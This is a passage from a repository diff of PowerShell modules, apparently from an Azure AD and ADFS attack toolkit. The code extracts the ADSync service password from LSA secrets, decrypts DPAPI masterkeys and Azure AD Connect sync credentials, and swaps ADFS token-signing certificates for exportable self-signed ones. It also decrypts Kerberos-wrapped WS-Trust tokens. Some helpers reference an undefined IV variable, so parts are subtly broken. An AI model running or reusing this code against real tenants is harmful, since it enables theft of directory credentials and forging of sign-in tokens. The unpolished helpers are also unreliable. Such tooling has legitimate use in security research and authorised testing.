Write-Error "Updated $UpdatedRows while should update 1. Could be error"
return
}
Write-Host "Password successfully updated to AD and configuration database!"
# Return
Get-SyncCredentials -force
# Restart the ADSync service if requested
if($RestartADSyncService)
{
Restart-Service ADSync
}
else
{
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
}
}
}
# Decrypts AD and AAD passwords with the given key and IV
# May 3rd 2020
function Get-DecryptedConfigPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[byte[]]$Key,
[Parameter(Mandatory=$true)]
[guid]$InitialVector
)
Process
{
# Create the AES decryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = "CBC"
$aes.Key = $Key
$aes.IV = $iv.ToByteArray()
$dc=$aes.CreateDecryptor()
# Decrypt the data
$decData = $dc.TransformFinalBlock($Data,0,$Data.Length)
# Convert to xml and get the password
[xml]$decDataXml = ([text.encoding]::Unicode.GetString($decData)).trimEnd(@(0x00,0x0a,0x0d))
$decPassword = $decDataXml.'encrypted-attributes'.attribute.'#text'
Write-Verbose "DecryptedConfigPassword: $($decDataXml.OuterXml)"
# Return
return $decPassword
}
}
# Encrypts AD or AAD password with the given key and IV
# May 3rd 2020
function New-DecryptedConfigPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$Password,
[Parameter(Mandatory=$true)]
[byte[]]$Key,
[Parameter(Mandatory=$true)]
[guid]$InitialVector
)
Process
{
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($Password)
# Create the AES encryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = "CBC"
$aes.Key = $Key
$aes.IV = $iv.ToByteArray()
$de=$aes.CreateEncryptor()
# Encrypt the data
$data = "<encrypted-attributes><attribute name=""password"">$NewPassword</attribute></encrypted-attributes>"
$binData = [text.encoding]::Unicode.GetBytes($data)
$decData = $de.TransformFinalBlock($binData,0,$binData.Length)
Write-Verbose "DecryptedConfigPassword: $data"
# Return
return $decData
}
}
# Retrieves ADSync encryption key used to encrypt and decrypt configuration data
# May 3rd 2020
function Get-SyncEncryptionKey
{
<#
.SYNOPSIS
Gets ADSync encryption key using the given entropy and instance id
.DESCRIPTION
Gets the ADSync encryption key used to encrypt and decrypt passwords for service users of Azure AD and local AD
.Example
Get-AADIntSyncEncryptionKey -Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca -InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
.Example
$key_info = Get-AADIntSyncEncryptionKeyInfo
PS C:\>Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[guid]$Entropy,
[Parameter(Mandatory=$true)]
[guid]$InstanceId
)
# Define the return variable
$retVal = $null
# Fetch the full name of the ADSync user. Should be in the format DOMAIN\AAD_xxxxxxxxxxxx
$FullName=(Get-WmiObject Win32_Service -Filter "Name='ADSync'").StartName
$userName = $FullName.split("\")[1]
# Get user's SID
$userSID=(Get-WmiObject win32_useraccount -Filter "Name='$userName'").SID
# Get the stored password for the ADSync service -> this is the password of DOMAIN\AAD_xxxxxxxxxxxx user!
$LSAUserName = "_SC_ADSync"
$LSASecret=Get-LSASecrets -Users "_SC_ADSync"
$password=$LSASecret.PasswordTxt
Write-Verbose "UserName: $FullName"
Write-Verbose "SID: $userSID"
Write-Verbose "Password: $password`n`n"
# As we now know the password of the user, we can get user masterkeys without system masterkey
# Get user's masterkeys and decode them with username and password
#$masterKeys=Get-UserMasterkeys -UserName $userName -SID $userSID -Password $password
# Get the system key
$systemKey = Get-LSABackupKeys | Where-Object name -eq "RSA"
# Get the system masterkeys
$masterKeys = Get-SystemMasterkeys -SystemKey $systemKey.Key
# Get the user's masterkeys
$usrMasterKeys = Get-UserMasterkeys -UserName $userName -SystemKey $systemKey.Key -SID $userSID
# Merge the keys
foreach($key in $usrMasterKeys.Keys)
{
$masterKeys[$key]=$usrMasterKeys[$key]
}
# Get user's credentials with the masterkeys
$credentials = Get-LocalUserCredentials -UserName $userName -MasterKeys $masterKeys
# Try to find the correct credential entry
foreach($cred in $credentials)
{
$target = $cred.Target
# Check the target, we are looking for:
# LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{00000000-0000-0000-0000-0000000000}_100000
if($target.toLower().Contains(([guid]$instanceid).ToString()))
{
$keySetId = [int]$target.Split("_")[4]
# The keyset is actually a DPAPIBlob, so decrypt it using a native DPAPI method in LOCAL MACHINE context
$keySet = [AADInternals.Native]::getDecryptedData($cred.Secret,$entropy.toByteArray())
Write-Verbose "KeySet ($keySetId): $(Convert-ByteArrayToHex -Bytes $keySet)"
# Parse the keyset
$key = Parse-KeySetBlob -Data $keySet
# Check whether the id and guid matches
if($key.Id -eq $keySetId -and $key.Guid -eq $instanceId)
{
$retVal = $key
}
}
}
return $retVal
}
# Parses the MMSK key set blob
# May 3rd 2020
function Parse-KeySetBlob
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the KeySet
$p=4 # Skip the MMSK string at the beginning
$version = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$id = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$guid = [guid][byte[]]$Data[$p..$($p+15)]; $p+=16
$unk0 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk1 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk3 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk4 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$keyBlockSize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$secondKeySize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk7 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk8 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk9 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk10 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk11 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk12 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$enAlg = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$keyLength = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$key = $Data[$p..$($p+$keyLength-1)]; $p+=$keyLength
#$unk15 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$enAlg2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$keyLength2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$key2 = $Data[$p..$($p+$keyLength2-1)]; $p+=$keyLength2
Write-Verbose "*** KEYSET ***"
Write-Verbose "Id: $id"
Write-Verbose "Guid: $guid"
Write-Verbose "CryptAlg: $enAlg $($ALGS[$enAlg])"
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)`n`n"
$attributes=[ordered]@{
"Id" = $id
"Guid" = $guid
"CryptAlg" = $enAlg
"Key" = $key
}
return New-Object PSObject -Property $attributes
}
}
# Gets entropy and instanceid from the local configuration database
# May 6th 2020
function Get-SyncEncryptionKeyInfo
{
<#
.SYNOPSIS
Gets ADSync encryption key info from the local configuration database
.DESCRIPTION
Gets ADSync encryption key info from the local configuration database
.Example
Get-AADIntSyncEncryptionKeyInfo
Name Value
---- -----
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
#>
[CmdletBinding()]
param()
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
$SQLClient.Close()
return New-Object PSObject @{Entropy = $entropy; InstanceId = $instance_id}
}
# Gets the db connection string from the registry
# May 11th
function Get-AADConfigDbConnection
{
[cmdletbinding()]
Param()
Begin
{
# Create the connection string for the configuration database
$parametersPath = "HKLM:\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
$dBServer = (Get-ItemProperty -Path $parametersPath).Server
$dBName = (Get-ItemProperty -Path $parametersPath).DBName
$dBInstance = (Get-ItemProperty -Path $parametersPath).SQLInstance
$connectionString = "Data Source=$dbServer\$dBInstance;Initial Catalog=$dBName"
}
Process
{
Write-Verbose "ConnectionString=$connectionString"
return $connectionString
}
}
+1623
View File
File diff suppressed because it is too large Load Diff
+932
View File
@@ -0,0 +1,932 @@
# Updated Apr 22nd 2021
#May 24th 2019
function New-ADFSSelfSignedCertificates
{
<#
.SYNOPSIS
Creates new self-signed Token Signing and Token Decrypt certificates for ADFSService
.Description
Disables auto rollover and creates new self-signed Token Signing and Token Decrypt certificates for ADFSService.
Certificates are added to ADFS and the service is restarted. Certificates are also saved to the current directory.
.Parameter PfxPassword
Password for the Token Signing and Token Decrypt .pfx files. Default is "AADInternals".
.Example
New-AADIntADFSSelfSignedCertificates
.Example
New-AADIntADFSSelfSignedCertificates -PfxPassword "MyPassword"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$PfxPassword="AADInternals",
[Switch]$Force
)
Process
{
# Set the password
$CertificatePassword = ConvertTo-SecureString -String $pfxPassword -Force -AsPlainText
# Check the auto rollover status
if(!$Force -and !(Get-AdfsProperties).AutoCertificateRollover)
{
Write-Error "Certificate Auto Rollover is allready disabled!"
return
}
# Disable auto rollover
Set-ADFSProperties -AutocertificateRollover $false
# Get the current certificates
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
# Create new certificates with the same name and store to LocalMachine store
$New_SigningCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_SigningCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_SigningCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
$New_DecryptCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_DecryptCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_DecryptCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
# Export the new certificates
Export-PfxCertificate -FilePath "ADFS_Token_Signing.pfx" -Password $CertificatePassword -Cert $New_SigningCertificate |Out-Null
Export-PfxCertificate -FilePath "ADFS_Token_Decrypt.pfx" -Password $CertificatePassword -Cert $New_DecryptCertificate |Out-Null
# Add certificates to ADFS
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint
Add-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint
# Set the new ones as primary
Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint -IsPrimary
Set-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint -IsPrimary
# Remove the old ones from ADFS
Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint $Cur_SigningCertificate.Thumbprint
Remove-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $Cur_DecryptCertificate.Thumbprint
# Get the ADFS service information
$Service=Get-WMIObject -namespace "root\cimv2" -class Win32_Service -Filter 'Name="ADFSSRV"'
# Create an accessrule for private keys
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $service.StartName, "read", allow
$Root = "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys"
# Give read permissions to private key of Signing Certificate
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_SigningCertificate)
$fileName = $rsaCert.key.UniqueName
$path="$Root\$fileName"
$permissions = Get-Acl -Path $path
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions
# Give read permissions to private key of Decryption Certificate
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_DecryptCertificate)
$fileName = $rsaCert.key.UniqueName
$path="$Root\$fileName"
$permissions = Get-Acl -Path $path
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions
# Restart ADFS service
Restart-Service ADFSSrv
# Output
Write-Host "Certificates successfully created and added to ADFS!"
Write-Host "Certificates also exported to ADFS_Token_Decrypt.pfx and ADFS_Token_Signing.pfx using password `"$PfxPassword`""
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
}
}
#May 24th 2019
function Restore-ADFSAutoRollover
{
<#
.SYNOPSIS
Restores ADFS to "normal" mode: Token Signing and Token Decryption certificates are automatically rolled over once a year.
.Description
Enables certificate auto rollover, updates Token Signing and Token Decryption certificates and removes the old self-signed certificates.
.Example
Restore-AADIntADFSAutoRollover
#>
[cmdletbinding()]
Param(
[Switch]$Force
)
Process
{
# Check the auto rollover status
if(!$Force -and (Get-AdfsProperties).AutoCertificateRollover)
{
Write-Error "Certificate Auto Rollover is allready enabled!"
return
}
# Enable auto rollover
Set-ADFSProperties -AutocertificateRollover $true
# Get the current certificates
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
# Update certificates
Update-AdfsCertificate -CertificateType Token-Signing -Urgent
Update-AdfsCertificate -CertificateType Token-Decrypting -Urgent
# Remove the old certificates from the certificate store
Remove-Item "Cert:\LocalMachine\My\$($Cur_SigningCertificate.Thumbprint)" -ErrorAction SilentlyContinue
Remove-Item "Cert:\LocalMachine\My\$($Cur_DecryptCertificate.Thumbprint)" -ErrorAction SilentlyContinue
# Restart ADFS service
Restart-Service ADFSSrv
# Output
Write-Host "Autorollover succesfully turned on and old certificates removed from ADFS and certstore."
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
}
}
#May 25th 2019
function Update-ADFSFederationSettings
{
<#
.SYNOPSIS
Updates federation information of the given domain to match the local ADFS server information.
.Description
Updates federation information of the given domain to match the local ADFS server information.
.Parameter AccessToken
Access Token
.Parameter Domain
The domain to be updated
.Example
Update-AADIntADFSFederationSettings -Domain company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$DomainName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get the current settings from cloud
$FederationSettings = Get-DomainFederationSettings -DomainName $DomainName -AccessToken $AccessToken
# Get the current certificates
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
#$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pkcs12))
$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.GetRawCertData())
# Check the settings
if($Cur_PublicKey -eq $FederationSettings.SigningCertificate)
{
Write-Host "Settings already up to date!"
return
}
# Update federation settings
Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName `
-ActiveLogOnUri $FederationSettings.ActiveLogOnUri `
-FederationBrandName $FederationSettings.FederationBrandName `
-IssuerUri $FederationSettings.IssuerUri `
-LogOffUri $FederationSettings.LogOffUri `
-MetadataExchangeUri $FederationSettings.MetadataExchangeUri `
-PassiveLogOnUri $FederationSettings.PassiveLogOnUri `
-PreferredAuthenticationProtocol $FederationSettings.PreferredAuthenticationProtocol `
-SigningCertificate $Cur_PublicKey
Write-Host "Federation information updated!"
}
}
# Parses GSS_Wrap and returns the encrypted data part
# Apr 1st 2021
function Parse-GSS_Wrap
{
Param(
[Parameter(Mandatory=$True)]
[Byte[]]$Data,
[Parameter(Mandatory=$True)]
[Byte[]]$SessionKey,
[Parameter(Mandatory=$False)]
[ValidateSet('Initiator','Acceptor')]
[String]$Direction = 'Initiator',
[Parameter(Mandatory=$True)]
[Int]$SequenceNumber,
[Parameter(Mandatory=$False)]
[Int]$Type = 23 # 23 = rc4-hmac, 18 = aes256-cts-hmac-sha1-96
)
Process
{
if($Type -eq 18 ) # aes256-cts-hmac-sha1-96
{
# TODO: implement support for this
Throw "Unsupported GSS_WRAP type: $Type"
$s = 0
# Get the token header information
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
$Flags = $Data[ $s] ; $s+=1
$Filler = $Data[ $s] ; $s+=1
$EC = $Data[$s..($s+1)] ; $s+=2
$RRC = $Data[$s..($s+1)] ; $s+=2
$SND_SEQ = $Data[$s..($s+7)] ; $s+=8
[array]::Reverse($RRC)
$rotations = [bitconverter]::TouInt16($RRC,0)
[array]::Reverse($SND_SEQ)
if([bitconverter]::TouInt32($SND_SEQ,0) -ne $SequenceNumber)
{
Write-Warning "Sequence number mismatch!"
}
# Extract token information
$encData = $Data[$s..($data.Count - 1)]
# Rotate the data
for($r = 0; $r -lt $rotations; $r++)
{
$t = $encData[$encData.Count-1]
for($i = $encData.Count-1 ; $i -gt 0; $i--)
{
$encData[$i] = $encData[$i-1]
}
$encData[0] = $t
}
$encData | Format-Hex
return
}
elseif($Type -eq 23) # rc4-hmac
{
# Generate the sequence number from the given integer and add "direction" bytes
$SND_SEQ = [System.BitConverter]::GetBytes([uint32]$SequenceNumber)
[Array]::Reverse($SND_SEQ)
if($Direction -eq 'Initiator')
{
$SND_SEQ += @(0xff, 0xff, 0xff, 0xff)
}
else
{
$SND_SEQ += @(0x00, 0x00, 0x00, 0x00)
}
# Get object identifier
$tokLen = $Data[1]
$oidLen = $Data[3]
$oid = Convert-BytesToOid -Bytes $Data[4..(4+$oidLen-1)]
$s = 4+$oidLen
# Save the header for checksum calculation
$TOKEN_HEADER = $Data[$s..($s+7)]
# Get the token header information
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
$SGN_ALG = $Data[$s..($s+1)] ; $s+=2
$SEAL_ALG = $Data[$s..($s+1)] ; $s+=2
$Filler = $Data[$s..($s+1)] ; $s+=2
# Extract token information
$encSND_SEQ = $Data[$s..($s+7)] ; $s+=8
$SGN_CHKSUM = $Data[$s..($s+7)] ; $s+=8
$encSGN_Confounder = $Data[$s..($s+7)] ; $s+=8
$encData = $Data[$s..($data.Count - 1)]
# Validation
# Token id should be 0x0102
if(($tid=[System.BitConverter]::ToInt16($TOK_ID,0)) -ne 0x102)
{
Write-Warning "Unknown TOKEN_ID ($tid), expected 256"
}
# Signing algorithm should be HMAC 0x0011
if(($sgalg=[System.BitConverter]::ToInt16($SGN_ALG,0)) -ne 0x11)
{
Write-Warning "Unknown SGN_ALG ($sgalg), expected HMAC (17)"
}
# Encryption algorithm should be RC4 0x0010
if(($enalg=[System.BitConverter]::ToInt16($SEAL_ALG,0)) -ne 0x10)
{
Write-Warning "Unknown SEAL_ALG ($enalg), expected RC4 (16)"
}
# Generate signature key by calculating MD5 HMAC from "signaturekey"+0x00 using the session key
$Ksign = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([text.encoding]::UTF8.GetBytes("signaturekey`0"))
# Generate decryption keys
$Klocal = New-Object byte[] $SessionKey.Count
for($a = 0 ; $a -lt $SessionKey.Count ; $a++)
{
$Klocal[$a] = $SessionKey[$a] -bxor 0xF0
}
$Kseq = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
$Kseq = [System.Security.Cryptography.HMACMD5]::New($Kseq ).ComputeHash($SGN_CHKSUM)
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Klocal ).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Kcrypt ).ComputeHash($SND_SEQ[0..3])
# Decrypt sequence number
$decSND_SEQ = Get-RC4 -Key $Kseq -Data $encSND_SEQ
if(Compare-Object -ReferenceObject $decSND_SEQ -DifferenceObject $SND_SEQ -SyncWindow 0)
{
Write-Warning "Sequence number mismatch!"
}
# Decrypt data
$decSGN_Confounder = Get-RC4 -Key $Kcrypt -Data $encSGN_Confounder
$decData = Get-RC4 -Key $Kcrypt -Data @($decSGN_Confounder + $encData)
$decData = $decData[8..($decData.Count-1)]
$decSGN_CHKSUM = Get-RC4 -Key $Kcrypt -Data $encSGN_CHKSUM
# Calculate MD5 checksum: Salt + header + confounder + data
$SGN_CHKSUM2 = [System.Security.Cryptography.MD5 ]::Create().ComputeHash(@(@(13,0,0,0) + $TOKEN_HEADER + $decSGN_Confounder + $decData))
$SGN_CHKSUM2 = ([System.Security.Cryptography.HMACMD5]::New($Ksign).ComputeHash($SGN_CHKSUM2))[0..7]
if(Compare-Object -ReferenceObject $SGN_CHKSUM -DifferenceObject $SGN_CHKSUM2 -SyncWindow 0)
{
Write-Warning "Invalid checksum!"
}
return $decData
}
else
{
Throw "Unsupported GSS_WRAP type: $Type"
}
}
}
# pHash
# https://www.ietf.org/rfc/rfc2246.txt
# Apr 5th 2021
function Get-PSHA1
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Secret,
[Parameter(Mandatory=$True)]
[byte[]]$Seed,
[Parameter(Mandatory=$False)]
[int]$Bytes=32
)
Process
{
[System.Security.Cryptography.HMACSHA1]$HMAC = [System.Security.Cryptography.HMACSHA1]::New($Secret)
$PSHA1=@()
$A = $seed
$p = 0
while($p -lt $Bytes)
{
$A = $HMAC.ComputeHash($A)
$PSHA1 += $HMAC.ComputeHash(($A + $Seed))
$p+=$A.Count
}
$HMAC.Dispose()
return [byte[]]($PSHA1[0..($Bytes-1)])
}
}
# Decrypts the given ciphertext
# Apr 9th 2021
function Decrypt-WSTrustCipherData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$CipherText,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# The first 16 bytes are the IV
$InitialVector = $cipherText[0..15]
$encText = $cipherText[16..($cipherText.Count-1)]
# Decrypt the cipher text
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
$AES.Mode = "CBC"
$AES.Key = $Key
$AES.IV = $InitialVector
$transformer = $AES.CreateDecryptor()
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($encText,0,$encText.Count)
$cs.Close()
$cs.Dispose()
$transformedData = $ms.ToArray()
$ms.Close()
$ms.Dispose()
return $transformedData
}
}
# Encrypts the given plaintext
# Apr 10th 2021
function Encrypt-WSTrustCipherData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PlainText,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Create a random IV
$InitialVector = Get-RandomBytes -Bytes 16
# Encrypt the cipher text
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
$AES.Mode = "CBC"
$AES.Key = $Key
$AES.IV = $InitialVector
$transformer = $AES.CreateEncryptor()
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($PlainText,0,$PlainText.Count)
$cs.Close()
$cs.Dispose()
$transformedData = $ms.ToArray()
$ms.Close()
$ms.Dispose()
return [byte[]]($InitialVector+$transformedData)
}
}
# Derives the key from proof token and nonce
# Apr 9th 2021
function Derive-WSTrustKey
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$Nonce,
[Parameter(Mandatory=$False)]
[int]$Bytes = 32
)
Begin
{
# Default label (mis)used by Microsoft
$Label = [text.encoding]::ASCII.GetBytes("WS-SecureConversationWS-SecureConversation")
}
Process
{
$derivedKey = Get-PSHA1 -Secret $Key -Seed ($label+$Nonce) -Bytes $Bytes
return $derivedKey
}
}
# Creates a SOAP envelope for RST
# Apr 13th 2021
function Create-RSTEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Server,
[Parameter(Mandatory=$True)]
[String]$KerberosTicket
)
Process
{
$messageId = (New-Guid).ToString()
$envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
<a:MessageID>urn:uuid:$messageId</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">http://$Server/adfs/services/policystoretransfer</a:To>
</s:Header>
<s:Body>
<t:RequestSecurityToken Context="uuid-$((New-Guid).ToString())" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
<t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType>
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
<t:KeySize>256</t:KeySize>
<t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/spnego" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">$KerberosTicket</t:BinaryExchange>
</t:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
return $envelope
}
}
# Parse RST response
# Apr 14th 2021
function Parse-RSTR
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$RSTR,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Extract information from the RSTR
$krb_response = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].BinaryExchange.'#text'
$proofToken = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedProofToken.EncryptedKey.CipherData.CipherValue
$keyIdentifier = [guid](($RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
$context = $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Id
# Parse the ticket
$ticket = Parse-Asn1 -Data $krb_response
# Get the encrypted kerberos ticket
$encKRB = $ticket.Data.Data[2].Data.Data
$encKRB = Parse-Asn1 -Data $encKRB
$encKRB = $encKRB.Data[2].Data.Data[2].Data.Data[1].Data.Data
# Decrypt the ticket
$decKRB = Decrypt-Kerberos -Data $encKRB -Key $Key -Type APRepPart -Crypto RC4
$decKRB = Parse-Asn1 -Data $decKRB
# Get the sequence number and subkey
$SequenceNumber = $decKRB.Data.Data[3].Data.Data
$SubKey = $decKRB.Data.Data[2].Data.Data[1].Data.Data
$EncryptionType = $decKRB.Data.Data[2].Data.Data[0].Data.Data
Write-Verbose "Subkey: $(Convert-ByteArrayToB64 -Bytes $subKey)"
Write-Verbose "Sequence num: $sequenceNumber"
# Extract the key from the proof token
$securityKey = (Parse-GSS_Wrap -Type $EncryptionType -Data $proofToken -SessionKey $subKey -Direction Initiator -SequenceNumber $sequenceNumber)[0..31]
Write-Verbose "Security key: $(Convert-ByteArrayToB64 -Bytes $securityKey)"
Write-Verbose "Context: $context"
Write-Verbose "Identifier: $keyIdentifier"
# Construct the return value
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $securityKey; "Identifier" = $keyIdentifier}
return $retVal
}
}
# Creates a SOAP envelope for RST SCT
# Apr 14th 2021
function Create-SCTEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$ClientSecret,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server
)
Process
{
$payload = "<t:RequestSecurityToken xmlns:t=""http://schemas.xmlsoap.org/ws/2005/02/trust""><t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:Entropy><t:BinarySecret Type=""http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce"" u:Id=""uuid-$((New-Guid).ToString())"">$(Convert-ByteArrayToB64 -Bytes $ClientSecret)</t:BinarySecret></t:Entropy><t:KeySize>256</t:KeySize></t:RequestSecurityToken>"
$action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT"
